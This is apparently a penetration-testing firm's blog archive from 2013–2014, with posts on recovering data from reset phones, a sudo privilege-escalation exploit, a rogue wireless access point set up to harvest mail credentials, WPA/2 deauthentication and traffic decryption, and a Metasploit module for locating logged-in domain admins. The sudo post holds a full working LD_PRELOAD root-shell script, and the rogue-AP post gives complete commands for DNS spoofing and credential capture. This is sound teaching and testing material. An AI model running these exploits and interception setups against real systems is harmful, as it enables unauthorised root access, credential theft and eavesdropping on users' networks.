Grey bar Blue bar
Share this:

Fri, 7 Feb 2014

Channel 4 - Mobile Phone Experiment


This evening we were featured on Channel 4's DataBaby segment (link to follow). Channel 4 bought several second hand mobile phones that had been "wiped" (or rather reset to factory default) from various shops. Our challenge was to recover enough data from these seemingly empty phones to identify the previous owners.


After a long night of mobile forensics analysis, we had recovered personal data from almost every phone we had been provided with. This information included:


  • Browsing history

  • Cookies (e.g. email and Facebook)

  • Contacts

  • SMS messages

  • Photographs

  • Address information

  • Personal documents


It would have been theoretically possible to use the cookies to impersonate the users - i.e. log in as the previous owners. We opted not to do this, as it was crossing an ethical line.

What's the lesson here?


Be very careful when selling your phone. It's fairly trivial to recover large amounts of data from mobile phones - and the tools to do so are freely available.

How can I protect myself?


This will depend on what type of phone you have, and specifically whether the data is encrypted, and if it is, if the key is recoverable. Unencrypted phones were easy game.


iPhone devices encrypt their data by default, which makes it hard (almost impossible) to recover data after performing a factory reset. There are some attacks against iPhones older than 4s which may have more success.


Android devices by default have no encryption, which means that somebody (like us) could easily recover large amounts of supposedly deleted data. It's a good idea to keep your phone encrypted.


Both Windows phone 8 and BlackBerry allow optional encryption to be configured, but this is not enabled by default. Windows phone 7 does not support encryption of the core filesystem.


If you have an existing phone that you're about to sell we'd recommend you encrypt the phone twice after resetting it to factory default (once to destroy your data, the second time to destroy the key used for the first round).


Keep in mind, this applies to all storage media - hard drives on laptops, camera memory cards, etc. It's largely recoverable, even when seemingly deleted.


We would like to thank Paolo Dal Checco (@forensico) and fellow SensePost'er Vlad (@v1ad_o) for their help during the experiment.


On a legal note, the experiment was conducted on a laptop with full disk encryption, and *all* data was deleted after returning the phones to Channel 4.

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?


For lack of deeper understanding I googled around the issue and came across http://www.catonmat.net/blog/simple-ld-preload-tutorial which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.


So after a little fiddling I came up with the following creature:



/* gcc -Wall -fPIC -shared -o myfopen.so myfopen.c */
/* http://www.catonmat.net/blog/simple-ld-preload-tutorial/ */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
{
unlink("/tmp/sandwich");
system("/bin/bash");
}
else
{
//printf("fake fopen: not active \n");
}
return NULL;
}

which could be invoked via



#!/bin/bash
touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/myfopen.so /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.


On a side note: the header of his sploit says:



# http://www.exploit-db.com/exploits/7129/
#
#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/www.com-winner.com
#
# Most lame exploit EVER!
#
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
#
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz
# I'M GONNA GRAB A COFFE NOW;HAVE PHUN !!!

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.


So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.




1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 # http://www.exploit-db.com/exploits/7129/
7 #
8 # "re-discovered" in 2013 by
9 # george@sensepost.com
10 #
11
12
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
17
18
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
24
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/sandwich.so");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
37
38 _EOF
39
40
41 gcc -fPIC -shared -o /tmp/sandwich.so /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/sandwich.so $1
43

Fri, 12 Jul 2013

Rogue Access Points, a how-to

In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the "unauthorised access points" Bob in Marketing bought and plugged into your internal network for his team to use.


I'll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy.


This is a fairly detailed "how-to" style blog entry that gives you a taste of what you can grab on our training course.


Preparation


First up, you'll need a wireless card that supports injection. The aircrack forums maintain a list. I'm using the Alfa AWUS036H. Students on our course each get one of these to keep. We buy them from Rokland who always give us great service.


Second, you'll need a laptop running Kali. The instructions here are pretty much the same for BackTrack (deprecated, use Kali).


For this setup, you won't need upstream internet connectivity. In many ways setting up a "mitm" style rogue AP is much easier, but it requires that you have upstream connectivity which means you have to figure out an upstream connection (if you want to be mobile this means buying data from a mobile provider) and prevents you from using your rogue in funny places like aeroplanes or data centres. We're going to keep things simple.


Finally, you'll need to install some packages, I'll discuss those as we set each thing up.


Overview


We're going to string a couple of things together here:


Access Point <-> routing & firewalling <-> DHCP <-> spoof services (DNS & mail)


There are several ways you can do each of these depending on preference and equipment. I'll cover some alternatives, but here I'm going for quick and simple.


Access Point


Ideally, you should have a fancy wifi card with a Prism chipset that you can put into master mode, and have (digininja's karma patched) hostapd play nicely with. But, we don't have one of those, and will be using airbase-ng's soft ap capability. You won't get an AP that scales particularly well, or has decent throughput, or even guarantees that people can associate, but it's often good enough.


For this section, we'll use a few tools:


  • airbase-ng (via the aircrack-ng suite)

  • macchanger

  • iw


You can install these with: apt-get install aircrack-ng macchanger iw


First, let's practise some good opsec and randomise our MAC address, then, while we're at it, push up our transmit power. Assuming our wifi card has shown up as the device wlan0 (you can check with airmon-ng), we'll run:

ifconfig wlan0 down
macchanger -r wlan0 #randomise our MAC
iw reg set BO #change our regulatory domain to something more permissive
ifconfig wlan0 up
iwconfig wlan0 txpower 30 #1Watt transmit power


Right, now we can set up the AP using airbase. We have some options, with the biggest being whether you go for a KARMA style attack, or a point-network spoof.

airmon-ng start wlan0 #Put our card into monitor mode
airbase-ng -c6 -P -C20 -y -v mon0& #Set up our soft AP in karma mode
#airbase-ng -c6 -e "Internet" -v mon0& #Alternatively, set up our soft AP for 1 net (no karma)


Airbase has a couple of different ways to work. I'll explain the parameters:


  • -c channel, check which channel is the least occupied with airodump

  • -P (karma mode) respond to all probes i.e. if a victim's device is usually connects to the open network "Internet" it will probe to see if that network is nearby. Our AP will see the probe and helpfully respond. The device, not knowing that this isn't an ESS for the Internet network, will join our AP.

  • -y don't respond to broadcast probes, aka the "is there anyone out there" shout of wifi. This helps in busy areas to reduce the AP's workload

  • -C20 after a probed for network has been seen, send beacons with that network name out for 20 seconds afterwards. If you're having trouble connecting, increasing this can help, but not much

  • -v be verbose

  • -e "Internet" pretend to be a specific fake ESSID. Using airodump and monitoring for probed networks from your victim, and just pretending to be that network (i.e. drop -P and -y) can increase reliability for specific targets.


If you're putting this into a script, make sure to background the airbase process (the &). At this point, you should have an AP up and running.


Routing & IP Time


There are lots of options here, you could bridge the AP and your upstream interface, you could NAT (NB you can't NAT from wifi to wifi). We're not using an upstream connection, so things are somewhat simpler, we're just going to give our AP an IP and add a route for it's network. It's all standard unix tools here.


The basics:

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
echo '1' > /proc/sys/net/ipv4/ip_forward


This is good enough for our no upstream AP, but if you wanted to use an upstream bridge, you could use the following alternates:

apt-get install bridge-utils #To get the brctl tool, only run this once
brctl addbr br0
brctl addif br0 eth0 #Assuming eth0 is your upstream interface
brctl addif br0 at0
ifconfig br0 up


If you wanted to NAT, you could use:

iptables --policy INPUT ACCEPT #Good housekeeping, clean the tables first
iptables --policy OUTPUT ACCEPT #Don't want to clear rules with a default DENY
iptables --policy FORWARD ACCEPT
iptables -t nat -F
iptables -F
#The actual NAT stuff
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -o eth0 -j ACCEPT


Legitimate Services
We need to have a fully functioning network, which requires some legitimate services. For our purposes, we only really need one, DHCP. Metasploit does have a dhcpd service, but it seems to have a few bugs. I'd recommend using the standard isc-dhcp-server in Kali which is rock solid.



apt-get install isc-dhcp-server #Only run this once
cat >> dhcpd.conf #We need to write the dhcp config file
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}^D #If you chose this method of writing the file, hit Ctrl-D
dhcpd -cf dhcpd.conf


Evil Services


We're going to cover three evil services here:


  • DNS spoofing

  • Captive portal detection avoidance

  • Mail credential interception services


DNS spoofing


Once again, there are a couple of ways you can do DNS spoofing. The easiest is to use Dug Song's dnsspoof. An alternative would be to use metasploit's fakedns, but I find that makes the metasploit output rather noisy. Since there's no upstream, we'll just spoof all DNS queries to point back to us.



apt-get install dsniff #Only run the first time :)
cat >> dns.txt
10.0.0.1 *
^D #As in hit Ctrl-C
dnsspoof -i at0 -f dns.txt& #Remember to background it if in a script


Captive Portal Detection Avoidance


Some OS's will try to detect whether they have internet access on first connecting to a network. Ostensibly, this is to figure out if there's a captive portal requiring login. The devices which do this are Apple, BlackBerry and Windows. Metasploit's http capture server has some buggy code to try and deal with this, that you could use, however, I find the cleanest way is to just use apache and create some simple vhosts. You can download the apache config from here.



apt-get install apache2
wget http://www.sensepost.com/blogstatic/2013/07/apache-spoof_captive_portal.tar.gz
cd /
tar zcvf ~/apache-spoof_captive_portal.tar.gz
service apache start


This will create three vhosts (apple, blackberry & windows) that will help devices from those manufacturers believe they are on the internet. You can easily extend this setup to create fake capture pages for accounts.google.com, www.facebook.com, twitter.com etc. (students will get nice pre-prepared versions that write to msf's cred store). Because dnsspoof is pointing all queries back to our host, requests for www.apple.com will hit our apache.


Mail credential interception


Next up, let's configure the mail interception. Here we're going to use metasploit's capture server. I'll show how this can be used for mail, but once you've got this up, it's pretty trivial to get the rest up too (ala karmetasploit).


All we need to do, is create a resource script, then edit it with msfconsole:



cat >> karma-mail.rc
use auxiliary/server/capture/imap
exploit -j


use auxiliary/server/capture/pop3
exploit -j


use auxiliary/server/capture/smtp
exploit -j


use auxiliary/server/capture/imap
set SRVPORT 993
set SSL true
exploit -j


use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
exploit -j



use auxiliary/server/capture/smtp
set SRVPORT 465
set SSL true
exploit -j
^D #In case you're just joining us, yes that's a Ctrl-D
msfconsole -r mail-karma.rc #Fire it up


This will create six services listening on six different ports. Three plain text services for IMAP, POP3, and SMTP, and three SSL enabled versions (although, this won't cover services using STARTTLS). Metasploit will generate random certificates for the SSL. If you want to be smart about it, you can use your own certificates (or CJR's auxiliar/gather/impersonate_ssl). Once again, because dnsspoof is pointing everything at us, we can just wait for connections to be initiated. Depending on the device being used, user's usually get some sort of cert warning (if your cert isn't trusted). Apple devices give you a fairly big obvious warning, but if you click it once, it will permanently accept the cert and keep sending you creds, even when the phone is locked (yay). Metasploit will proudly display them in your msfconsole session. For added certainty, set up a db so the creds command will work nicely.


Protections


When doing this stuff, it's interesting to see just how confusing the various warnings are from certain OS'es and how even security people get taken sometimes. To defend yourself, do the following:


  • Don't join "open" wifi networks. These get added to your PNL and probed for when you move around, and sometimes hard to remove later.

  • Remove open wifi networks from your remembered device networks. iOS in particular makes it really hard to figure out which open networks it's saved and are probing for. You can use something like airbase to figure that out (beacon out for 60s e.g.) and tell the phone to "forget this network".

  • Use SSL and validate the *exact* certificate you expect. For e.g. my mail client will only follow through with it's SSL negotiation if the *exact* certificate it's expecting is presented. If I join a network like this, it will balk at the fake certificate without prompting. It's easy, when you're in a rush and not thinking, to click other devices "Continue" button.


Conclusion


By this point, you should have a working rogue AP setup, that will aggressively pursue probed for networks (ala KARMA) and intercept mail connections to steal the creds. You can run this thing anywhere there are mobile devices (like the company canteen) and it's a fairly cheap way to grab credentials of a target organisation.


This setup is also remarkably easy to extend to other uses. We briefly looked at using bridging or NAT'ting to create a mitm rogue AP, and I mentioned the other metasploit capture services as obvious extensions. You can also throw in tools like sslstrip/sslsniff.


If you'd like to learn more about this and other wifi hacking techniques, then check out our Hacking by Numbers - Unplugged edition course at Black Hat. We've got loads of space.


If you'd like to read more, taddong's RootedCon talk from this year is a good place to start.

Thu, 9 May 2013

Wifi Hacking & WPA/2 PSK traffic decryption

When doing wireless assessments, I end up generating a ton of different scripts for various things that I thought it would be worth sharing. I'm going to try write some of them up. This is the first one on decrypting WPA/2 PSK traffic. The second will cover some tricks/scripts for rogue access-points. If you are keen on learn further techniques or advancing your wifi hacking knowledge/capability as a whole, please check out the course Hacking by Numbers: Unplugged, I'll be teaching at BlackHat Las Vegas soon.


When hackers find a WPA/2 network using a pre-shared key, the first thing they try and do most times, is to capture enough of the 4-way handshake to attempt to brute force the pairwise master key (PMK, or just the pre-shared key PSK). But, this often takes a very long time. If you employ other routes to find the key (say a client-side compromise) that can still take some time. Once you have the key, you can of course associate to the network and perform your layer 2 hackery. However, if you had been capturing traffic from the beginning, you would now be in a position to decrypt that traffic for analysis, rather than having to waste time by only starting your capture now. You can use the airdecap-ng tool from the aircrack-ng suite to do this:


airdecap-ng -b <BSSID of target network> -e <ESSID of target network> -p <WPA passphrase> <input pcap file>


However, because the WPA 4-way handshake generates a unique temporary key (pairwise temporal key PTK) every time a station associates, you need to have captured the two bits of random data shared between the station and the AP (the authenticator nonce and supplicant nonce) for that handshake to be able to initialise your crypto with the same data. What this means, is that if you didn't capture a handshake for the start of a WPA/2 session, then you won't be able to decrypt the traffic, even if you have the key.


So, the trick is to de-auth all users from the AP and start capturing right at the beginning. This can be done quite simply using aireplay-ng:


aireplay-ng --deauth=5 -e <ESSID>

Although, broadcast de-auth's aren't always as successful as a targeted one, where you spoof a directed deauth packet claiming to come from the AP and targeting a specific station. I often use airodump-ng to dump a list of associated stations to a csv file (with --output-format csv), then use some grep/cut-fu to excise their MAC addresses. I then pass that to aireplay-ng with:


cat <list of associated station MACs>.txt | xargs -n1 -I% aireplay-ng --deauth=5 -e <ESSID> -c % mon0

This tends to work a bit better, as I've seen some devices which appear to ignore a broadcast de-auth. This will make sure you capture the handshake so airdecap can decrypt the traffic you capture. Any further legitimate disconnects and re-auths will be captured by you, so you shouldn't need to run the de-auth again.


In summary:


  • Don't forget how useful examining traffic can be, and don't discount that as an option just because it's WPA/2

  • Start capturing as soon as you get near the network, to maximise how much traffic you'll have to examine

  • De-auth all connected clients to make sure you capture their handshakes for decryption


Once again, I'll be teaching a course covering this and other techniques at BlackHat Las Vegas, please check it out or recommend it to others if you think it's worthwhile. We're also running a curriculum of other courses at BH, including a brand new mobile hacking course.

    Mon, 22 Apr 2013

    Windows Domain Privilege Escalation : Implementing PSLoggedOn in Metasploit (+ a bonus history module)

    There are multiple paths one could take to getting Domain Admin on a Microsoft Windows Active Directory Domain. One common method for achieving this is to start by finding a system where a privileged domain account, such as a domain admin, is logged into or has recently been logged into. Once access to this system has been gained, either stealing their security tokens (ala Incognito or pass-the-hash attacks) or querying Digest Authentication (with Mimikatz/WCE) to get their clear-text password. The problem is finding out where these user's are logged in.


    I've often seen nmap and the smb-enum-sessions script (http://nmap.org/nsedoc/scripts/smb-enum-sessions.html) used to retrieve all the user sessions on the network. This (not so grep'pable) output is then grep'ed to find the hosts where our target user is logged in. The process of smb-enum-sessions and subsequent analysis can be quite time consuming and clumsy. On a recent assessment, multiple tunnels in, where uploading nmap wasn't a great idea, we realised that there has to be a better way of doing this. While searching for an alternative solution we came across PsLoggedOn (SysInternals Suite) which, with a single binary, allows you search the network for locations where a user is logged in. The downside with this is that it doesn't cleanly run via psexec or other remote shells and you need graphical logon to a system on the domain, and you need to upload another binary (the PsLoggedOn executable) to the target system. Examining how PsLoggedOn worked we figured out that it was simply using the Windows NetSessionEnum API. Having a look at the API I figured that it should be possible to write a simple post exploit module for Metasploit using the railgun.


    After some trial and error, we now present enum_domain_user.rb a simple Metasploit post exploit module capable of finding network sessions for a specific user. Below is a screenshot of the module in action.



    To use the module,


    1.) Download and copy it to:
    <msfinstall>/modules/post/windows/gather/
    (we'll send a pull request to metasploit-framework's github shortly).


    2.) In MSF:
    use post/windows/gather/enum_domain_user


    3.) Set the USER and SESSION variables.


    4.) Then simply run it with "exploit".


    The module can also be used directly from meterpreter with:
    run post/windows/gather/enum_domain_user USER=username


    Warning, this doesn't seem to work with x64 meterpreter yet mostly likely due to some memory pointer stuff I haven't worked out. Hopefully this will get updated shortly, or even better, one of you smart people out there can fix my horrible Ruby.

    Bonus


    As an added extra I've included a Metapsloit history plugin. This plugin will simply allow you to view all the commands executed since the module was loaded and then execute them "bash style".


    Typing "history" will give display the last 10 commands executed. If you wish to see more commands, type history <numberof entries>


    To run a command from the history list type:
    history !<command number>


    Below is an action shot of the history module.



    To install:


    1.) Download and Copy history.rb to the plugins folder: <msf install>/plugins/
    2.) In msfconsole type: load history
    3.) For usage info type: help history


    Both modules are available for download on Github, and I'll submit a pull request to metasploit-framework shortly. Please feel free to fork and be merry. Any updates/fixes/comments are welcome.
    Github: https://github.com/sensepost/metasploit